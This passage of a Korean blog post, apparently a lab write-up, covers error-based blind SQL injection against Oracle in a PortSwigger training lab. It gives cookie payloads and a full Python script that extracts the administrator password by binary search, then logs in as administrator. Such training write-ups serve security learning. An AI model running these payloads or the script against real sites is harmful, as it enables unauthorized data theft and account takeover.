&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1252&quot; data-origin-height=&quot;570&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b2j1q1/dJMcaadFeuT/rWYqMoUl459HJAIoJabwrK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b2j1q1/dJMcaadFeuT/rWYqMoUl459HJAIoJabwrK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b2j1q1/dJMcaadFeuT/rWYqMoUl459HJAIoJabwrK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb2j1q1%2FdJMcaadFeuT%2FrWYqMoUl459HJAIoJabwrK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;387&quot; data-origin-width=&quot;1252&quot; data-origin-height=&quot;570&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;sql query 문 조건식이 참이 되도록 하는 sql query 문을 구성하여 요청을 보내고 응답을 확인해 보면 정상적으로 웹 페이지가 반환되고 있는 것을 확인합니다.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1254&quot; data-origin-height=&quot;572&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cMZ7zQ/dJMcahX8Jsp/k62j9IRlAK7rFJBGeaSzY0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cMZ7zQ/dJMcahX8Jsp/k62j9IRlAK7rFJBGeaSzY0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cMZ7zQ/dJMcahX8Jsp/k62j9IRlAK7rFJBGeaSzY0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcMZ7zQ%2FdJMcahX8Jsp%2Fk62j9IRlAK7rFJBGeaSzY0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;388&quot; data-origin-width=&quot;1254&quot; data-origin-height=&quot;572&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;sql query 문 조건식이 거짓이 되도록 하는 sql query 문을 구성해서 요청을 보내봐도 응답 결과는 똑같다는 것을 알 수 있고 단순히 조건식이 참, 거짓에 의한 응답 결과의 차이를 보고 data 추출을 할 수 없다는 것을 알 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1256&quot; data-origin-height=&quot;569&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/82eRC/dJMcajhjtFl/d6RL8UpTqxdVTq1Yd24wp0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/82eRC/dJMcajhjtFl/d6RL8UpTqxdVTq1Yd24wp0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/82eRC/dJMcajhjtFl/d6RL8UpTqxdVTq1Yd24wp0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F82eRC%2FdJMcajhjtFl%2Fd6RL8UpTqxdVTq1Yd24wp0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;385&quot; data-origin-width=&quot;1256&quot; data-origin-height=&quot;569&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;참, 거짓 응답 결과가 다름에 따른 data 추출은 할 수 없지만 해당 LAB 문제에서는 에러 발생 시 에러 메시지를 반환하기 때문에 에러를 유발하는 sql query 문을 구성하면 참, 거짓을 이용한 응답 결과가 다름에 따른 data 추출을 할 수 있게 됩니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[페이로드(입력 값)]&lt;/b&gt;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 21px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;- &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;case when 구문 조건&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;참일 때&lt;b&gt;&lt;br /&gt;페이로드:&lt;/b&gt;TrackingId=uUveEoJDaHYuGguk&lt;span style=&quot;color: #ee2323;&quot;&gt;' and 1 = (case when (1=1) then to_number(1/0) else 1 end)--&lt;/span&gt;;&amp;nbsp;&lt;br /&gt;&lt;br /&gt;-&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;case when 구문 조건&lt;span&gt;&amp;nbsp;거짓&lt;/span&gt;&lt;/span&gt;일 때 &lt;br /&gt;&lt;b&gt;페이로드:&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;TrackingId=uUveEoJDaHYuGguk&lt;span style=&quot;color: #ee2323;&quot;&gt;' &lt;span style=&quot;color: #ee2323; text-align: start;&quot;&gt;and 1 = (case when (1=2) then to_number(1/0) else 1 end)--&lt;/span&gt; &lt;/span&gt;;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;[설명]&lt;br /&gt;&lt;/b&gt;해당 LAB 문제에서 sql query 문을 구성할 때 에러를 유발하도록 하면 응답을 받았을 때 에러 메시지가 반환되는 것을 알 수 있습니다. 따라서 case when 구문의 조건을 이용한 참, 거짓에 따른 응답 결과를 통해 data 추출을 할 수 있게 됩니다.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;* 페이로드 분석&lt;/b&gt; &lt;br /&gt;to_number() 함수는 Oracle DB에서 문자열을 숫자로 변환해 주는 함수입니다. Oracle의 경우 1/0 과 같은 계산은 에러가 발생하기 때문에 to_number(1/0)으로 작성하면 에러가 발생하게 됩니다. &lt;span style=&quot;color: #ee2323;&quot;&gt;1 =&amp;nbsp;&lt;/span&gt; &lt;span style=&quot;color: #ee2323; text-align: start;&quot;&gt;case when (조건) then to_number(1/0) else 1 end&lt;/span&gt;에서 조건이 참이면&amp;nbsp; to_number(1/0)에 의해 에러가 발생하므로 에러 메시지가 반환되고 조건이 거짓이면 1을 반환합니다. 1을 반환하면&amp;nbsp; &lt;span style=&quot;color: #ee2323;&quot;&gt;1 = 1--&amp;nbsp;&lt;/span&gt;이 되기 때문에 에러가 발생하지 않아 정상적인 웹 페이지를 반환하게 됩니다.&lt;br /&gt;&lt;br /&gt;정리해 보면 case when 구문 조건이 참일 때(1=1) 응답 결과를 보면 에러 메시지를 반환하고 거짓일 때(1=2) 응답 결과를 보면 정상적인 웹 페이지를 반환하고 있는 것을 알 수 있었습니다. 조건이 참, 거짓이느냐에 따라 에러 발생 유무가 정해지며 그에 따른 결과가 다르기 때문에 다름을 이용하여 Blind SQL Injection처럼 data를 추출할 수 있게 됩니다.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[case when 구문 조건 &lt;b&gt;참&lt;/b&gt;일 때]&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1254&quot; data-origin-height=&quot;571&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/tyVUV/dJMcaiJtEZ5/bzFdmteglueQPKD2ENRZx0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/tyVUV/dJMcaiJtEZ5/bzFdmteglueQPKD2ENRZx0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/tyVUV/dJMcaiJtEZ5/bzFdmteglueQPKD2ENRZx0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FtyVUV%2FdJMcaiJtEZ5%2FbzFdmteglueQPKD2ENRZx0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;387&quot; data-origin-width=&quot;1254&quot; data-origin-height=&quot;571&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[case when 구문 조건 &lt;b&gt;거짓&lt;/b&gt;일 때]&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;15_주석 안쓴버전 참 거짓 응답 다름.png&quot; data-origin-width=&quot;1254&quot; data-origin-height=&quot;570&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ouiUv/dJMcaakp53P/t6cWDjjoDizYuZmMyCFU41/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ouiUv/dJMcaakp53P/t6cWDjjoDizYuZmMyCFU41/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ouiUv/dJMcaakp53P/t6cWDjjoDizYuZmMyCFU41/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FouiUv%2FdJMcaakp53P%2Ft6cWDjjoDizYuZmMyCFU41%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;386&quot; data-filename=&quot;15_주석 안쓴버전 참 거짓 응답 다름.png&quot; data-origin-width=&quot;1254&quot; data-origin-height=&quot;570&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;에러 유무에 따른 응답 결과를 통해 data를 추출할 수 있도록 Python scirpt를 제작합니다. &lt;span style=&quot;color: #9d9d9d;&quot;&gt;(직접 입력하는 것도 가능하지만 상당히 오래 걸리기 때문에 Python 코드를 제작하는 것이 좋습니다.)&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[administrator passowrd 추출 - python script]&lt;/p&gt;
&lt;pre id=&quot;code_1774452250396&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 주석 사용 버전
import string
import requests

url = &quot;https://0ada005104420d0780bb089800b00070.web-security-academy.net/&quot;

# session, TrackingId는 자신이 가지고 있는 값을 사용합니다.
session = &quot;jTeRDnbRbQIgMz8DasJdL8L0wNLNjszJ&quot;
TrackingId = &quot;uUveEoJDaHYuGguk&quot;

# 문제에서 administrator 계정의 정보는 users table에 있다고 언급이 되었고
# users table의 column은 username column과, password column이 있다고 했기 때문에
# administrator의 password 길이를 알아내고 해당 길이만큼 반복문을 돌리면서
# data를 추출할 수 있습니다.

# administrator password 길이 찾는 함수 
def find_admin_pw_len():

	# 이진 탐색법 적용
    low = 1
    high = 256

    while low &amp;lt; high:
        mid = (low + high) // 2
        query = (
            f&quot;(select length(password) from users where username='administrator') &amp;gt; {mid} &quot;
        )

        cookies = {
            &quot;session&quot; : f&quot;{session}&quot;,
            &quot;TrackingId&quot; : f&quot;{TrackingId}' and (case when ({query}) then to_number(1/0) else 1 end)--&quot;
        }

        response = requests.get(url, cookies=cookies)
        # print(response.text)
        # print(mid)

        if &quot;Internal Server Error&quot; in response.text:
            low = mid + 1
        else:
            high = mid

    return (low)

# administrator password 추출
def find_admin_pw():

    admin_pw = ''
    # administrator password 길이를 저장
    admin_pw_len = find_admin_pw_len()

	# administrator password 길이만큼 반복하면서
    # data추출
    for i in range(1, admin_pw_len+1):
    
    	# 이진 탐색법 적용
        low = 32
        high = 127

        while low &amp;lt; high:
            mid = (low + high) // 2
            query = (
                f&quot;(case when (ascii(substr((select password from users where username='administrator'), {i}, 1)) &amp;gt; {mid}) then to_number(1/0) else 1 end)--&quot;
            )

            cookies = {
                &quot;session&quot; : f&quot;{session}&quot;,
                &quot;TrackingId&quot; : f&quot;{TrackingId}' and (case when ({query}) then to_number(1/0) else 1 end)--&quot;
            }

            response = requests.get(url, cookies=cookies)
            # print(response.text)
            # print(mid)

            if &quot;Internal Server Error&quot; in response.text:
                low = mid + 1
            else:
                high = mid
        
        admin_pw += chr(low)

    return admin_pw

print(f&quot;administrator의 password: {find_admin_pw()}&quot;)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;코드를 실행해 보면 다음과 같이 administrator 계정의 password를 얻어낼 수 있게 됩니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;10_admin 비밀번호 알아냄.png&quot; data-origin-width=&quot;446&quot; data-origin-height=&quot;26&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bxbaS2/dJMcagkCtVN/153dyzPwV8dC7WyT9Ckcrk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bxbaS2/dJMcagkCtVN/153dyzPwV8dC7WyT9Ckcrk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bxbaS2/dJMcagkCtVN/153dyzPwV8dC7WyT9Ckcrk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbxbaS2%2FdJMcagkCtVN%2F153dyzPwV8dC7WyT9Ckcrk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;600&quot; height=&quot;35&quot; data-filename=&quot;10_admin 비밀번호 알아냄.png&quot; data-origin-width=&quot;446&quot; data-origin-height=&quot;26&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;웹 페이지로 돌아가서 My account를 클릭합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;11_my account 접속.png&quot; data-origin-width=&quot;976&quot; data-origin-height=&quot;650&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/efTMmt/dJMcagZdYYx/BYORKwkdn44VXYfh3gquJk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/efTMmt/dJMcagZdYYx/BYORKwkdn44VXYfh3gquJk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/efTMmt/dJMcagZdYYx/BYORKwkdn44VXYfh3gquJk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FefTMmt%2FdJMcagZdYYx%2FBYORKwkdn44VXYfh3gquJk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;466&quot; data-filename=&quot;11_my account 접속.png&quot; data-origin-width=&quot;976&quot; data-origin-height=&quot;650&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;알아낸 administrator의 ID, Password를 입력합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;12_알아낸 비번 입력.png&quot; data-origin-width=&quot;976&quot; data-origin-height=&quot;650&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Ci6dH/dJMcadBmR55/MVxXZtxHQ6PgbXb0KSi161/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Ci6dH/dJMcadBmR55/MVxXZtxHQ6PgbXb0KSi161/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Ci6dH/dJMcadBmR55/MVxXZtxHQ6PgbXb0KSi161/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FCi6dH%2FdJMcadBmR55%2FMVxXZtxHQ6PgbXb0KSi161%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;466&quot; data-filename=&quot;12_알아낸 비번 입력.png&quot; data-origin-width=&quot;976&quot; data-origin-height=&quot;650&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;administrator 계정으로 로그인에 성공하며 문제를 해결하게 됩니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;13_문제 해결.png&quot; data-origin-width=&quot;976&quot; data-origin-height=&quot;650&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bqodC1/dJMcag50ZDL/h20mbR7nDChECzRh0xIiDK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bqodC1/dJMcag50ZDL/h20mbR7nDChECzRh0xIiDK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bqodC1/dJMcag50ZDL/h20mbR7nDChECzRh0xIiDK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbqodC1%2FdJMcag50ZDL%2Fh20mbR7nDChECzRh0xIiDK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;466&quot; data-filename=&quot;13_문제 해결.png&quot; data-origin-width=&quot;976&quot; data-origin-height=&quot;650&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;+) 주석을 사용하지 않고 data를 추출하는 페이로드입니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;주석을 사용하지 않고 case when 구문을 이용해서 에러를 유발하는 sql query 문 입니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[페이로드(입력 값)]&lt;/b&gt;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;-&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;case when 구문 조건&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;참일 때&lt;b&gt;&lt;br /&gt;페이로드:&lt;/b&gt;TrackingId=uUveEoJDaHYuGguk &lt;span style=&quot;color: #ee2323; text-align: start;&quot;&gt;'&lt;/span&gt;&lt;span style=&quot;color: #ee2323; text-align: start;&quot;&gt;|| (select case when (1=1) then to_char(1/0) else '' end from dual) ||'&lt;/span&gt; ;&amp;nbsp;&lt;br /&gt;&lt;br /&gt;-&amp;nbsp;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;case when 구문 조건&lt;span&gt;&amp;nbsp;거짓&lt;/span&gt;&lt;/span&gt;일 때&lt;br /&gt;&lt;b&gt;페이로드:&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;TrackingId=uUveEoJDaHYuGguk&lt;span style=&quot;color: #ee2323;&quot;&gt;'||&amp;nbsp;(select&amp;nbsp;case&amp;nbsp;when&amp;nbsp;(1=2)&amp;nbsp;then&amp;nbsp;to_char(1/0)&amp;nbsp;else&amp;nbsp;''&amp;nbsp;end&amp;nbsp;from&amp;nbsp;dual)&amp;nbsp;||'&lt;/span&gt;;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;[설명]&lt;br /&gt;&lt;/b&gt;주석을 사용한 페이로드와 동일하게 case when 구문의 조건을 이용한 참, 거짓에 따른 data 추출을 할 수 있게 됩니다.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;* 페이로드 분석&lt;/b&gt;&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;to_char() 함수는 Oracle DB에서 숫자나, 날짜 등을 문자열로 변환해 주는 함수입니다. Oracle의 경우 1/0 과 같은 계산은 에러가 발생하기 때문에 to_char(1/0)으로 작성하면 에러가 발생하게 됩니다. 주의할 점은 해당 페이로드를 이용할 때는 to_number() 함수가 아닌 to_char()&amp;nbsp; 함수를 사용해야 합니다.&amp;nbsp;&lt;br /&gt;&lt;i&gt;&lt;s&gt;&lt;span style=&quot;color: #dddddd;&quot;&gt;이거 때문에 한참동안 해결을 못했었습니다.&lt;/span&gt;&lt;/s&gt;&lt;/i&gt;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&lt;span style=&quot;background-color: #dddddd;&quot;&gt;&amp;nbsp;||&amp;nbsp;&lt;/span&gt; 연산자는 Oracle에서 문자열을 합쳐주는 연산자입니다.&amp;nbsp;&lt;br /&gt;&lt;br /&gt;&lt;span&gt; &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;uUveEoJDaHYuGguk&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #ee2323; text-align: start;&quot;&gt;'&lt;/span&gt;&lt;span style=&quot;color: #ee2323; text-align: start;&quot;&gt;|| (select case when (1=1) then to_char(1/0) else '' end from dual) ||'&lt;/span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #ee2323; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;에서 조건이 참이면&amp;nbsp;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;to_char(1/0)에 의해 에러가 발생하므로 에러 메시지가 반환되고 조건이 거짓이면&amp;nbsp;&lt;span style=&quot;background-color: #dddddd;&quot;&gt; ''&amp;nbsp;&lt;/span&gt; (빈 문자열)을 반환합니다. 빈 문자열을 반환하면 &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;uUveEoJDaHYuGguk&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #ee2323; text-align: start;&quot;&gt;'&lt;/span&gt;&lt;span style=&quot;color: #ee2323; text-align: start;&quot;&gt;|| '' ||'&amp;nbsp;&lt;/span&gt;이기 때문에 원래 정상적인 쿠키 값이었던 uUveEoJDaHYuGguk만 남게 되어 정상적인 sql query 문이 됩니다. 따라서 에러 유무에 따라 응답 결과가 다르기 때문에 data를 추출할 수 있습니다.&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;[case when 구문 조건&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;참&lt;/b&gt;일 때 - 주석 X]&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;14_주석 안쓴버전.png&quot; data-origin-width=&quot;1250&quot; data-origin-height=&quot;573&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cJnzcJ/dJMcai3Ltuk/Pd9VsfR3LbygrNqGPY3Mfk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cJnzcJ/dJMcai3Ltuk/Pd9VsfR3LbygrNqGPY3Mfk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cJnzcJ/dJMcai3Ltuk/Pd9VsfR3LbygrNqGPY3Mfk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcJnzcJ%2FdJMcai3Ltuk%2FPd9VsfR3LbygrNqGPY3Mfk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;390&quot; data-filename=&quot;14_주석 안쓴버전.png&quot; data-origin-width=&quot;1250&quot; data-origin-height=&quot;573&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;[case when 구문 조건&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;거짓&lt;/b&gt;일 때 - 주석 X]&lt;/p&gt;
